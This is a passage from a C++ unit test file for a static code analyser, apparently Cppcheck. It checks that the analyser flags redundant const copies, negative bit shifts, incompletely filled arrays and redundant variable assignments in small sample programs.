[redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n 